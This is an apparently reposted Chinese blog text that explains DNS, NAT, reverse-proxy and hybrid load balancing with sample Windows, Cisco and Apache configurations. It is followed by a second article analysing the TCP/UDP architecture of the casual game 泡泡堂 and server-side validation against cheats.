　　在NT下的实现也很简单，下面详细介绍在win2000 server下实现DNS负载均衡的过程，NT4.0类似：

打开“管理工具”下的“DNS”，进入DNS服务配置控制台。


打 开相应DNS 服务器的“属性”，在“高级”选项卡的“服务器选项”中，选中“启用循环”复选框。此步相当于在注册表记录HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\DNS\Parameters中添加一个双字节制值（dword值） RoundRobin，值为1。


打开正向搜索区域的相应区域（如test.com），新建主机添加主机 (A) 资源记录，记录如下：

www IN A 192.1.1.1
www IN A 192.1.1.2
www IN A 192.1.1.3

在这里可以看到的区别是在NT下一个主机名对应多个IP地址记录，但在unix下，是先添加多个不同的主机名分别对应个自的IP地址，然后再把这些主机赋同一个别名（CNAME）来实现的。

在此需要注意的是，NT下本地子网优先级会取代多宿主名称的循环复用，所以在测试时，如果做测试用的客户机IP地址与主机资源记录的IP在同一有类掩码范围内，就需要清除在“高级”选项卡“服务器选项”中的“启用netmask排序”。
NAT负载均衡
　 　NAT（Network Address Translation 网络地址转换）简单地说就是将一个IP地址转换为另一个IP地址，一般用于未经注册的内部地址与合法的、已获注册的Internet IP地址间进行转换。适用于解决Internet IP地址紧张、不想让网络外部知道内部网络结构等的场合下。每次NAT转换势必会增加NAT设备的开销，但这种额外的开销对于大多数网络来说都是微不足道 的，除非在高带宽有大量NAT请求的网络上。

　　NAT负载均衡将一个外部IP地址映射为多个内部IP地址，对每次连接请求动态地转换为一个内部服务器的地址，将外部连接请求引到转换得到地址的那个服务器上，从而达到负载均衡的目的。

　　NAT负载均衡是一种比较完善的负载均衡技术，起着NAT负载均衡功能的设备一般处于内部服务器到外部网间的网关位置，如路由器、防火墙、四层交换机、专用负载均衡器等，均衡算法也较灵活，如随机选择、最少连接数及响应时间等来分配负载。

　 　NAT负载均衡可以通过软硬件方式来实现。通过软件方式来实现NAT负载均衡的设备往往受到带宽及系统本身处理能力的限制，由于NAT比较接近网络的低 层，因此就可以将它集成在硬件设备中，通常这样的硬件设备是第四层交换机和专用负载均衡器，第四层交换机的一项重要功能就是NAT负载均衡。

　　下面以实例介绍一下Cisco路由器NAT负载均衡的配置：

　 　现有一台有一个串行接口和一个Ethernet接口的路由器，Ethernet口连接到内部网络，内部网络上有三台web服务器，但都只是低端配置，为 了处理好来自Internet上大量的web连接请求，因此需要在此路由器上做NAT负载均衡配置，把发送到web服务器合法Internet IP地址的报文转换成这三台服务器的内部本地地址。 其具体配置过程如下：

做好路由器的基本配置，并定义各个接口在做NAT时是内部还是外部接口。

然后定义一个标准访问列表（standard access list），用来标识要转换的合法IP地址。

再定义NAT地址池来标识内部web服务器的本地地址，注意要用到关键字rotary，表明我们要使用轮循（Round Robin）的方式从NAT地址池中取出相应IP地址来转换合法IP报文。


最后，把目标地址为访问表中IP的报文转换成地址池中定义的IP地址。
　　相应配置文件如下：

interface Ethernet0/0
ip address 192.168.1.4 255.255.255.248
ip nat inside
!
interface Serial0/0
ip address 200.200.1.1 255.255.255.248
ip nat outside
!
ip access-list 1 permit 200.200.1.2
!
ip nat pool websrv 192.168.1.1 192.168.1.3 netmask 255.255.255.248 type rotary
ip nat inside destination list 1 pool websrv





反向代理负载均衡
　　普通代理方式是代理内部网络用户访问internet上服务器的连接请求，客户端必须指定代理服务器,并将本来要直接发送到internet上服务器的连接请求发送给代理服务器处理。

　　反向代理（Reverse Proxy）方式是指以代理服务器来接受internet上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给internet上请求连接的客户端，此时代理服务器对外就表现为一个服务器。

　　反向代理负载均衡技术是把将来自internet上的连接请求以反向代理的方式动态地转发给内部网络上的多台服务器进行处理，从而达到负载均衡的目的。

　 　反向代理负载均衡能以软件方式来实现，如apache mod_proxy、netscape proxy等，也可以在高速缓存器、负载均衡器等硬件设备上实现。 反向代理负载均衡可以将优化的负载均衡策略和代理服务器的高速缓存技术结合在一起，提升静态网页的访问速度，提供有益的性能；由于网络外部用户不能直接访 问真实的服务器，具备额外的安全性（同理，NAT负载均衡技术也有此优点）。

　　其缺点主要表现在以下两个方面：

反向代理是处于OSI参考模型第七层应用的，所以就必须为每一种应用服务专门开发一个反向代理服务器，这样就限制了反向代理负载均衡技术的应用范围，现在一般都用于对web服务器的负载均衡。

针对每一次代理，代理服务器就必须打开两个连接，一个对外，一个对内，因此在并发连接请求数量非常大的时候，代理服务器的负载也就非常大了，在最后代理服务器本身会成为服务的瓶颈。
　　一般来讲，可以用它来对连接数量不是特别大，但每次连接都需要消耗大量处理资源的站点进行负载均衡，如search。

　 　下面以在apache mod_proxy下做的反向代理负载均衡为配置实例：在站点www.test.com，我们按提供的内容进行分类，不同的服务器用于提供不同的内容服 务，将对http://www.test.com/news的访问转到IP地址为192.168.1.1的内部服务器上处理，对http: //www.test.com/it的访问转到服务器192.168.1.2上，对http://www.test.com/life的访问转到服务器 192.168.1.3上，对http://www.test.com/love的访问转到合作站点http://www.love.com上，从而减轻 本apache服务器的负担，达到负载均衡的目的。

　　首先要确定域名www.test.com在DNS上的记录对应apache服务器接口上具有internet合法注册的IP地址，这样才能使internet上对www.test.com的所有连接请求发送给本台apache服务器。

　　在本台服务器的apache配置文件httpd.conf中添加如下设置：

　　proxypass /news http://192.168.1.1
　　proxypass /it http://192.168.1.2
　　proxypass /life http://192.168.1.3
　　proxypass /love http://www.love.com

　　注意，此项设置最好添加在httpd.conf文件“Section 2”以后的位置，服务器192.168.1.1-3也应是具有相应功能的www服务器，在重启服务时，最好用apachectl configtest命令检查一下配置是否有误.


混合型负载均衡
　 　在有些大型网络，由于多个服务器群内硬件设备、各自的规模、提供的服务等的差异，我们可以考虑给每个服务器群采用最合适的负载均衡方式，然后又在这多个 服务器群间再一次负载均衡或群集起来以一个整体向外界提供服务（即把这多个服务器群当做一个新的服务器群），从而达到最佳的性能。我们将这种方式称之为混 合型负载均衡。此种方式有时也用于单台均衡设备的性能不能满足大量连接请求的情况下。

　　下图展示了一个应用示例，三个服务器群针对各自的特点，分别采用了不同的负载均衡方式。当客户端发出域名解析请求时，DNS服务器依次把它解析成三个服务器群的VIP，如此把客户端的连接请求分别引向三个服务器群，从而达到了再一次负载均衡的目的。

　　在图中大家可能注意到，负载均衡设备在网络拓朴上，可以处于外部网和内部网络间网关的位置，也可以和内部服务器群处于并行的位置，甚至可以处于内部网络或internet上的任意位置，特别是在采用群集负载均衡时，根本就没有单独的负载均衡设备。

　　服务器群内各服务器只有提供相同内容的服务才有负载均衡的意义，特别是在DNS负载均衡时。要不然，这样会造成大量连接请求的丢失或由于多次返回内容的不同给客户造成混乱。

　　所以，如图的这个示例在实际中可能没有多大的意义，因为如此大的服务内容相同但各服务器群存在大量差异的网站并不多见。 但做为一个示例，相信还是很有参考意义的.

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=273385

本文作者：sodme
本文出处：http://blog.csdn.net/sodme
声明：本文可以不经作者同意任意转载、复制、引用。但任何对本文的引用，均须注明本文的作者、出处以及本行声明信息。

　　提笔注：扫地只是偶的表面工作，偶的真实身份是作MMORPG。^_^

　　之前，我分析过QQ游戏（特指QQ休闲平台，并非QQ堂，下同）的通信架构（http://blog.csdn.net/sodme/archive/2005/06/12/393165.aspx），分析过魔兽世界的通信架构（http://blog.csdn.net/sodme/archive/2005/06/18/397371.aspx）， 似乎网络游戏的通信架构也就是这些了，其实不然，在网络游戏大家庭中，还有一种类型的游戏我认为有必要把它的通信架构专门作个介绍，这便是如泡泡堂、QQ 堂类的休闲类竞技游戏。曾经很多次，被网友们要求能抽时间看看泡泡堂之类游戏的通信架构，这次由于被逼交作业，所以今晚抽了一点的时间截了一下泡泡堂的 包，正巧昨日与网友就泡泡堂类游戏的通信架构有过一番讨论，于是，将这两天的讨论、截包及思考总结于本文中，希望能对关心或者正在开发此类游戏的朋友有所 帮助，如果要讨论具体的技术细节，请到我的BLOG（http://blog.csdn.net/sodme）加我的MSN讨论..

　　总体来说，泡泡堂类游戏（此下简称泡泡堂）在大厅到房间这一层的通信架构，其结构与QQ游戏相当，甚至要比QQ游戏来得简单。所以，在房间这一层的通信架构上，我不想过多讨论，不清楚的朋友请参看我对QQ游戏通信架构的分析文章（http://blog.csdn.net/sodme/archive/2005/06/12/393165.aspx）。可以这么说，如果采用与QQ游戏相同的房间和大厅架构，是完全可以组建起一套可扩展的支持百万人在线的游戏系统的。也就是说，通过负载均衡＋大厅＋游戏房间对游戏逻辑的分摊，完全可以实现一个可扩展的百万人在线泡泡堂。

　　但是，泡泡堂与斗地主的最大不同点在于：泡泡堂对于实时性要求特别高。那么，泡泡堂是如何解决实时性与网络延迟以及大用户量之间矛盾的呢？

　　阅读以下文字前，请确认你已经完全理解TCP与UDP之间的不同点。

　 　我们知道，TCP与UDP之间的最大不同点在于：TCP是可靠连接的，而UDP是无连接的。如果通信双方使用TCP协议，那么他们之前必须事先通过监听 ＋连接的方式将双方的通信管道建立起来；而如果通信双方使用的是UDP通信，则双方不用事先建立连接，发送方只管向目标地址上的目标端口发送UDP包即 可，不用管对方到底收没收到。如果要说形象点，可以用这样一句话概括：TCP是打电话，UDP是发电报。TCP通信，为了保持这样的可靠连接，在可靠性上 下了很多功夫，所以导致了它的通信效率要比UDP差很多，所以，一般地，在地实时性要求非常高的场合，会选择使用UDP协议，比如常见的动作射击类游戏。

　　通过载包，我们发现泡泡堂中同时采用了TCP和UDP两种通信协议。并且，具有以下特点：
　　1.当玩家未进入具体的游戏地图时，仅有TCP通信存在，而没有UDP通信；
　　2.进入游戏地图后，TCP的通信量远远小于UDP的通信量
　　3.UDP的通信IP个数，与房间内的玩家成一一对应关系(这一点，应网友疑惑而加，此前已经证实)

　　以上是几个表面现象，下面我们来分析它的本质和内在。^&^

　　泡泡堂的游戏逻辑，简单地可以归纳为以下几个方面：
　　1.玩家移动
　　2.玩家埋地雷（如果你觉得这种叫法比较土，你也可以叫它：下泡泡，呵呵）
　　3.地雷爆炸出道具或者地雷爆炸困住另一玩家
　　4.玩家捡道具或者玩家消灭/解救一被困的玩家

　　与MMORPG一样，在上面的几个逻辑中，广播量最大的其实是玩家移动。为了保持玩家画面同步，其他玩家的每一步移动消息都要即时地发给其它玩家。

　 　通常，网络游戏的逻辑控制，绝大多数是在服务器端的。有时，为了保证画面的流畅性，我们会有意识地减少服务器端的逻辑判断量和广播量，当然，这个减少， 是以“不危及游戏的安全运行”为前提的。到底如何在效率、流畅性和安全性之间作取舍，很多时候是需要经验积累的，效率提高的过程，就是逻辑不断优化的过 程。不过，有一个原则是可以说的，那就是：“关键逻辑”一定要放在服务器上来判断。那么，什么是“关键逻辑”呢？

　　拿泡泡堂来说，下面的这个逻辑，我认为就是关键逻辑：玩家在某处埋下一颗地雷，地雷爆炸后到底能不能炸出道具以及炸出了哪些道具，这个信息，需要服务器来给。那么，什么又是“非关键逻辑”呢？

　 　“非关键逻辑”，在不同的游戏中，会有不同的概念。在通常的MMORPG中，玩家移动逻辑的判断，是算作关键逻辑的，否则，如果服务器端不对客户端发过 来的移动包进行判断那就很容易造成玩家的瞬移以及其它毁灭性的灾难。而在泡泡堂中，玩家移动逻辑到底应不应该算作关键逻辑还是值得考虑的。泡泡堂中的玩家 可以取胜的方法，通常是确实因为打得好而赢得胜利，不会因为瞬移而赢得胜利，因为如果外挂要作泡泡堂的瞬移，它需要考虑的因素和判断的逻辑太多了，由于比 赛进程的瞬息万变，外挂的瞬移点判断不一定就比真正的玩家来得准确，所在，在玩家移动这个逻辑上使用外挂，在泡泡堂这样的游戏中通常是得不偿失的（当然， 那种特别变态的高智能的外挂除外）。从目前我查到的消息来看，泡泡堂的外挂多数是一些按键精灵脚本，它的本质还不是完全的游戏机器人，并不是通过纯粹的协 议接管实现的外挂功能。这也从反面验证了我以上的想法。

　　说到这里，也许你已经明白了。是的！TCP通信负责“关键逻辑”，而UDP通信 负责“非关键逻辑”，这里的“非关键逻辑”中就包含了玩家移动。在泡泡堂中，TCP通信用于本地玩家与服务器之间的通信，而UDP则用于本地玩家与同一地 图中的其他各玩家的通信。当本地玩家要移动时，它会同时向同一地图内的所有玩家广播自己的移动消息，其他玩家收到这个消息后会更新自己的游戏画面以实现画 面同步。而当本地玩家要在地图上放置一个炸弹时，本地玩家需要将此消息同时通知同一地图内的其他玩家以及服务器，甚至这里，可以不把放置炸弹的消息通知给 服务器，而仅仅通知其他玩家。当炸弹爆炸后，要拾取物品时才向服务器提交拾取物品的消息。

　　那么，你可能会问，“地图上某一点是否存在道具”这个消息，服务器是什么时候通知给客户端的呢？这个问题，可以有两种解决方案：
　　1.客户端如果在放置炸弹时，将放置炸弹的消息通知给服务器，服务器可以在收到这个消息后，告诉客户端炸弹爆炸后会有哪些道具。但我觉得这种方案不好，因为这样作会增加游戏运行过程中的数据流量。
　 　2.而这第2种方案就是，客户端进入地图后，游戏刚开始时，就由服务器将本地图内的各道具所在点的信息传给各客户端，这样，可以省去两方面的开销：a. 客户端放炸弹时，可以不通知服务器而只通知其它玩家；b.服务器也不用在游戏运行过程中再向客户端传递有关某点有道具的信息。
　　
　　但是，不管采用哪种方案，服务器上都应该保留一份本地图内道具所在点的信息。因为服务器要用它来验证一个关键逻辑：玩家拾取道具。当玩家要在某点拾取道具时，服务器必须要判定此点是否有道具，否则，外挂可以通过频繁地发拾取道具的包而不断取得道具。

　 　至于泡泡堂其它游戏逻辑的实现方法，我想，还是要依靠这个原则：首先判断这个逻辑是关键逻辑吗？如果不全是，那其中的哪部分是非关键逻辑呢？对于非关键 逻辑，都可以交由客户端之间（UDP）去自行完成。而对于关键逻辑，则必须要有服务器(TCP)的校验和认证。这便是我要说的。

　　以上仅 仅是在理论上探讨关于泡泡堂类游戏在通信架构上的可能作法，这些想法是没有事实依据的，所有结论皆来源于对封包的分析以及个人经验，文章的内容和观点可能 跟真实的泡泡堂通信架构实现有相当大的差异，但我想，这并不是主要的，因为我的目的是向大家介绍这样的TCP和UDP通信并存情况下，如何对游戏逻辑的进 行取舍和划分。无论是“关键逻辑”的定性，还是“玩家移动”的具体实施，都需要开发者在具体的实践中进行总结和优化。此文全当是一个引子罢，如有疑问，请 加Msn讨论。